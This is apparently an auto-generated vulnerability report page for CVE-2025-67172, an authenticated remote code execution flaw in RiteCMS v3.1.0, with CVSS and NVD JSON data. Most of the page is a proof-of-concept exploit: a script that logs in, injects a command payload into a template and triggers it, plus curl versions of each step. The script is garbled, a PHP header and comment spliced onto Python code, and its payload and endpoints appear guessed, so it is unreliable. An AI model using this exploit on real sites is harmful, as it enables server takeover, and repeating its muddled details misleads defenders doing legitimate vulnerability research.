Security Vulnerability Report
中文
CVE-2025-67172 CVSS 7.2 HIGH

CVE-2025-67172

Published: 2025-12-17 18:15:49
Last Modified: 2025-12-18 19:18:00

Description

RiteCMS v3.1.0 was discovered to contain an authenticated remote code execution (RCE) vulnerability via the parse_special_tags() function.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:* - VULNERABLE
RiteCMS v3.1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-67172 PoC - RiteCMS v3.1.0 Authenticated RCE * via parse_special_tags() function * * Usage: php cve-2025-67172.py <target_url> <username> <password> * * Note: This PoC demonstrates the vulnerability for authorized security testing only. */ import requests import sys import re def exploit_ritecms(target_url, username, password): """ Exploit CVE-2025-67172: RiteCMS v3.1.0 Authenticated RCE """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/admin/index.php" login_data = { 'username': username, 'password': password } response = session.post(login_url, data=login_data) if 'logout' not in response.text.lower() and 'admin' not in response.text.lower(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Inject malicious payload via template editing # Target: functions.inc.php parse_special_tags() function template_url = f"{target_url}/admin/template_edit.php" # Malicious payload - executes system command # The parse_special_tags() function processes special tags without proper sanitization payload = "{exec(cmd='whoami')}" template_data = { 'template': 'default', 'content': payload, 'save': '1' } response = session.post(template_url, data=template_data) # Step 3: Trigger the payload by accessing the parsed content # The parse_special_tags() function will execute the injected command page_url = f"{target_url}/index.php" response = session.get(page_url) if 'root' in response.text or 'www-data' in response.text: print("[+] RCE Successful! Command executed.") return True print("[-] Exploitation failed or command not executed.") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_ritecms(target, user, pwd) # Alternative curl-based PoC: # 1. Login: curl -X POST http://target/admin/index.php -d "username=admin&password=admin" # 2. Inject: curl -X POST http://target/admin/template_edit.php -d "template=default&content={exec(cmd='id')}&save=1" -b cookies.txt # 3. Trigger: curl http://target/index.php -b cookies.txt

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67172", "sourceIdentifier": "[email protected]", "published": "2025-12-17T18:15:49.203", "lastModified": "2025-12-18T19:18:00.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RiteCMS v3.1.0 was discovered to contain an authenticated remote code execution (RCE) vulnerability via the parse_special_tags() function."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ritecms:ritecms:3.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F5E54D75-1861-4968-8494-335BF8C33E6F"}]}]}], "references": [{"url": "https://github.com/handylulu/RiteCMS/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/handylulu/RiteCMS/blob/master/cms/includes/functions.inc.php#L297", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/handylulu/RiteCMS/blob/master/cms/includes/functions.inc.php#L504", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67172", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/mbiesiad/vulnerability-research/tree/main/CVE-2025-67172", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}